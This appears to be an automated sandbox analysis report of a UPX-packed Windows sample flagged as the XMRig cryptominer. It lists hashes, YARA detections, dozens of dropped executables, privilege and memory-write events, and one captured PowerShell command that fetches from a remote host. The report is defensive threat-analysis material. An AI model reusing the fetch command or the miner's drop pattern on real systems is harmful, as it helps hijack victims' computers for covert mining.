xmrig | 229b5359d8ff19465d9e26298c78567d9423f28597898eb1b491392b1e70702a

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03/05/2024, 09:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
Size

2.2MB
MD5

102a823e199cc4e4ac7cc155c58accc4
SHA1

a9e62f6d46955791547b9be91cf5045b16ef68bc
SHA256

229b5359d8ff19465d9e26298c78567d9423f28597898eb1b491392b1e70702a
SHA512

04000e035c8f9c5a38e8ba48b1c5390434614b4a18ac16bc28f919836a6b0fd6d3ca98c0dfcf2e51c21479482e52f7a274c4d8017ebc17babeb5c60403a00543
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfF:NABS

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 23 IoCs

miner

resource	yara_rule
behavioral1/memory/2512-16-0x000000013FD80000-0x0000000140172000-memory.dmp	xmrig
behavioral1/memory/2680-133-0x000000013FE50000-0x0000000140242000-memory.dmp	xmrig
behavioral1/memory/2472-132-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	xmrig
behavioral1/memory/2032-130-0x000000013F380000-0x000000013F772000-memory.dmp	xmrig
behavioral1/memory/768-128-0x000000013F7B0000-0x000000013FBA2000-memory.dmp	xmrig
behavioral1/memory/2908-126-0x000000013F230000-0x000000013F622000-memory.dmp	xmrig
behavioral1/memory/2436-124-0x000000013F6D0000-0x000000013FAC2000-memory.dmp	xmrig
behavioral1/memory/2384-122-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	xmrig
behavioral1/memory/2484-119-0x000000013F940000-0x000000013FD32000-memory.dmp	xmrig
behavioral1/memory/2952-117-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	xmrig
behavioral1/memory/2828-114-0x000000013FC70000-0x0000000140062000-memory.dmp	xmrig
behavioral1/memory/2512-4714-0x000000013FD80000-0x0000000140172000-memory.dmp	xmrig
behavioral1/memory/2572-4716-0x000000013F170000-0x000000013F562000-memory.dmp	xmrig
behavioral1/memory/2828-4718-0x000000013FC70000-0x0000000140062000-memory.dmp	xmrig
behavioral1/memory/2680-4724-0x000000013FE50000-0x0000000140242000-memory.dmp	xmrig
behavioral1/memory/2952-4722-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	xmrig
behavioral1/memory/2384-4725-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	xmrig
behavioral1/memory/2484-4726-0x000000013F940000-0x000000013FD32000-memory.dmp	xmrig
behavioral1/memory/2908-4730-0x000000013F230000-0x000000013F622000-memory.dmp	xmrig
behavioral1/memory/2436-4732-0x000000013F6D0000-0x000000013FAC2000-memory.dmp	xmrig
behavioral1/memory/768-4735-0x000000013F7B0000-0x000000013FBA2000-memory.dmp	xmrig
behavioral1/memory/2032-4733-0x000000013F380000-0x000000013F772000-memory.dmp	xmrig
behavioral1/memory/2472-4742-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1244	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2512	INOaBBi.exe
2572	sJqoQca.exe
2828	bFEHTvs.exe
2680	lkLLEmT.exe
2952	xoewhMF.exe
2484	GZyzKJl.exe
2384	tBlkobs.exe
2436	WPdnPEQ.exe
2908	rprJkzf.exe
768	tumOvLh.exe
2032	DGEpRjP.exe
2472	oZaUgXn.exe
2656	kdUgdpj.exe
2740	ScnlVYy.exe
348	JRiVxQP.exe
1012	zkkyzSY.exe
2024	FcAvsSi.exe
1240	lAFPxRe.exe
1604	wZVTjaW.exe
2004	mhjdQpf.exe
812	qLMPfGV.exe
2904	JEhXeKh.exe
1968	DlOEkxR.exe
2848	mDHaqMS.exe
992	KAxtDwy.exe
2212	olLJgpx.exe
912	lDAXLen.exe
3028	BNMslXo.exe
2244	cRbYLWx.exe
1408	MJbQRLf.exe
3012	cQUFqCr.exe
1216	mAnjmdq.exe
1620	cZVklwW.exe
952	HcYcSeu.exe
988	qFxgWKL.exe
1928	PlSEPTu.exe
1596	gwwqoUg.exe
760	JXYfvjK.exe
2944	aPFtJJV.exe
1300	wKpWZmP.exe
1592	NveIdPo.exe
276	KCKbkZx.exe
888	RYMzQjt.exe
2248	RQGunkY.exe
1524	TEHkkEF.exe
836	cwmPLjm.exe
1148	mdOegrp.exe
1752	GVpCCEp.exe
1516	BcmqNfy.exe
332	ZhgXxVy.exe
1428	ZKftOBY.exe
1520	JuSuTmw.exe
1572	KGpmRtG.exe
2788	uvuuywp.exe
2492	unLnQLJ.exe
2668	siiBIAl.exe
2648	HInrMKy.exe
2084	iKClnCY.exe
2380	UDeSUmi.exe
2376	QNRrhic.exe
2916	HpsvFon.exe
1868	iKtrfBK.exe
1608	udhFRau.exe
2520	CMzBLOV.exe

Loads dropped DLL 64 IoCs

pid	Process
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1660-0-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/files/0x000b000000013420-3.dat	upx
behavioral1/files/0x003a000000013a84-8.dat	upx
behavioral1/memory/2512-16-0x000000013FD80000-0x0000000140172000-memory.dmp	upx
behavioral1/memory/2572-14-0x000000013F170000-0x000000013F562000-memory.dmp	upx
behavioral1/files/0x000b000000014175-10.dat	upx
behavioral1/files/0x0008000000014207-34.dat	upx
behavioral1/files/0x000e0000000054ab-30.dat	upx
behavioral1/files/0x0007000000014228-39.dat	upx
behavioral1/files/0x000800000001471a-46.dat	upx
behavioral1/files/0x000600000001487f-54.dat	upx
behavioral1/files/0x0006000000014bbc-71.dat	upx
behavioral1/files/0x0006000000015653-99.dat	upx
behavioral1/files/0x000600000001565d-104.dat	upx
behavioral1/files/0x000600000001535e-89.dat	upx
behavioral1/files/0x000600000001564f-93.dat	upx
behavioral1/files/0x0006000000015677-109.dat	upx
behavioral1/files/0x0038000000013acb-147.dat	upx
behavioral1/files/0x0006000000015cae-153.dat	upx
behavioral1/files/0x0006000000015c87-139.dat	upx
behavioral1/memory/2680-133-0x000000013FE50000-0x0000000140242000-memory.dmp	upx
behavioral1/memory/2472-132-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	upx
behavioral1/memory/2032-130-0x000000013F380000-0x000000013F772000-memory.dmp	upx
behavioral1/memory/768-128-0x000000013F7B0000-0x000000013FBA2000-memory.dmp	upx
behavioral1/memory/2908-126-0x000000013F230000-0x000000013F622000-memory.dmp	upx
behavioral1/memory/2436-124-0x000000013F6D0000-0x000000013FAC2000-memory.dmp	upx
behavioral1/memory/2384-122-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/memory/2484-119-0x000000013F940000-0x000000013FD32000-memory.dmp	upx
behavioral1/memory/2952-117-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	upx
behavioral1/memory/2828-114-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/files/0x0006000000015684-136.dat	upx
behavioral1/files/0x0006000000015ccd-160.dat	upx
behavioral1/files/0x0006000000015ce3-170.dat	upx
behavioral1/files/0x0006000000015d20-183.dat	upx
behavioral1/files/0x0006000000015c9e-150.dat	upx
behavioral1/files/0x0006000000015d42-193.dat	upx
behavioral1/files/0x0006000000015cff-191.dat	upx
behavioral1/files/0x0006000000015cd9-189.dat	upx
behavioral1/files/0x0006000000015cb6-179.dat	upx
behavioral1/files/0x0006000000014fa2-84.dat	upx
behavioral1/files/0x0006000000014e71-80.dat	upx
behavioral1/files/0x0006000000014b4c-70.dat	upx
behavioral1/files/0x0006000000014b18-64.dat	upx
behavioral1/files/0x0006000000014a9a-59.dat	upx
behavioral1/files/0x0007000000014246-45.dat	upx
behavioral1/memory/2512-4714-0x000000013FD80000-0x0000000140172000-memory.dmp	upx
behavioral1/memory/2572-4716-0x000000013F170000-0x000000013F562000-memory.dmp	upx
behavioral1/memory/2828-4718-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/memory/2680-4724-0x000000013FE50000-0x0000000140242000-memory.dmp	upx
behavioral1/memory/2952-4722-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	upx
behavioral1/memory/2384-4725-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/memory/2484-4726-0x000000013F940000-0x000000013FD32000-memory.dmp	upx
behavioral1/memory/2908-4730-0x000000013F230000-0x000000013F622000-memory.dmp	upx
behavioral1/memory/2436-4732-0x000000013F6D0000-0x000000013FAC2000-memory.dmp	upx
behavioral1/memory/768-4735-0x000000013F7B0000-0x000000013FBA2000-memory.dmp	upx
behavioral1/memory/2032-4733-0x000000013F380000-0x000000013F772000-memory.dmp	upx
behavioral1/memory/2472-4742-0x000000013F0C0000-0x000000013F4B2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ofRWVlc.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\iwdcFCr.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\UikUXdx.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\XsrZUxq.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\anoxRco.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\yOtxYlH.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\UnZfhIx.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\sTWqZtF.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\gxfdBLb.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\aFhXxtB.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\kUnLlGh.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\EmQYjKy.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\mUrjdqB.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\ShnKuII.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\HSRxjyh.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\CNnaqwS.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\PckpVEl.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\IoRkjRT.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\kVsRzzo.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\CnWLZHh.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\uyrfEfj.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\ZZzZcEv.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\DgZSUgo.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\LOTNxqT.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\KlPdRVe.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\ksFPXux.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\PLTNzBS.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\VRREhKW.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\gtUHWBf.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\BPwLpDN.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\BeSjaVG.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\uSwdJFx.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\qsfmxyY.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\evczmay.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\usPyXVN.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\QOzyDrw.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\OBJtFPA.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\mNgqLJU.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\DOxEBwq.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\sPPdZmK.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\ygkkwuP.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\xvXmsPk.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\VWPryGl.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\kAEBlmh.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\QlNliRy.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\bdgROCk.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\zNlrhaz.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\SAUviPG.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\ROJhtvU.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\kpEnxfW.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\caMjSsa.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\cncLjou.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\iQXUSYo.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\yWWDkzA.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\kWawAXa.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\OXJbmxb.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\PUnMBsj.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\eTvReEi.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\VFuIPPF.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\WVbaPkq.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\mrvgiIN.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\PRIyWEj.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\NLgyJPg.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
File created	C:\Windows\System\EnnWpaI.exe	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1244	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
Token: SeDebugPrivilege	1244	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 1244	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	29
PID 1660 wrote to memory of 1244	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	29
PID 1660 wrote to memory of 1244	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	29
PID 1660 wrote to memory of 2512	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	30
PID 1660 wrote to memory of 2512	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	30
PID 1660 wrote to memory of 2512	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	30
PID 1660 wrote to memory of 2572	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	31
PID 1660 wrote to memory of 2572	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	31
PID 1660 wrote to memory of 2572	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	31
PID 1660 wrote to memory of 2828	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	32
PID 1660 wrote to memory of 2828	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	32
PID 1660 wrote to memory of 2828	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	32
PID 1660 wrote to memory of 2680	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	33
PID 1660 wrote to memory of 2680	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	33
PID 1660 wrote to memory of 2680	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	33
PID 1660 wrote to memory of 2952	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	34
PID 1660 wrote to memory of 2952	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	34
PID 1660 wrote to memory of 2952	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	34
PID 1660 wrote to memory of 2484	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	35
PID 1660 wrote to memory of 2484	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	35
PID 1660 wrote to memory of 2484	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	35
PID 1660 wrote to memory of 2384	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	36
PID 1660 wrote to memory of 2384	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	36
PID 1660 wrote to memory of 2384	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	36
PID 1660 wrote to memory of 2436	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	37
PID 1660 wrote to memory of 2436	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	37
PID 1660 wrote to memory of 2436	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	37
PID 1660 wrote to memory of 2908	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	38
PID 1660 wrote to memory of 2908	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	38
PID 1660 wrote to memory of 2908	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	38
PID 1660 wrote to memory of 768	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	39
PID 1660 wrote to memory of 768	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	39
PID 1660 wrote to memory of 768	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	39
PID 1660 wrote to memory of 2032	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	40
PID 1660 wrote to memory of 2032	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	40
PID 1660 wrote to memory of 2032	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	40
PID 1660 wrote to memory of 2472	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	41
PID 1660 wrote to memory of 2472	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	41
PID 1660 wrote to memory of 2472	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	41
PID 1660 wrote to memory of 2656	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	42
PID 1660 wrote to memory of 2656	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	42
PID 1660 wrote to memory of 2656	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	42
PID 1660 wrote to memory of 2740	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	43
PID 1660 wrote to memory of 2740	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	43
PID 1660 wrote to memory of 2740	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	43
PID 1660 wrote to memory of 348	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	44
PID 1660 wrote to memory of 348	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	44
PID 1660 wrote to memory of 348	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	44
PID 1660 wrote to memory of 1012	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	45
PID 1660 wrote to memory of 1012	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	45
PID 1660 wrote to memory of 1012	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	45
PID 1660 wrote to memory of 2024	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	46
PID 1660 wrote to memory of 2024	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	46
PID 1660 wrote to memory of 2024	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	46
PID 1660 wrote to memory of 1240	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	47
PID 1660 wrote to memory of 1240	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	47
PID 1660 wrote to memory of 1240	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	47
PID 1660 wrote to memory of 1604	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	48
PID 1660 wrote to memory of 1604	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	48
PID 1660 wrote to memory of 1604	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	48
PID 1660 wrote to memory of 2004	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	49
PID 1660 wrote to memory of 2004	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	49
PID 1660 wrote to memory of 2004	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	49
PID 1660 wrote to memory of 812	1660	102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\102a823e199cc4e4ac7cc155c58accc4_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1244
- C:\Windows\System\INOaBBi.exe
  C:\Windows\System\INOaBBi.exe
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Windows\System\sJqoQca.exe
  C:\Windows\System\sJqoQca.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\bFEHTvs.exe
  C:\Windows\System\bFEHTvs.exe
  2⤵
  - Executes dropped EXE
  PID:2828
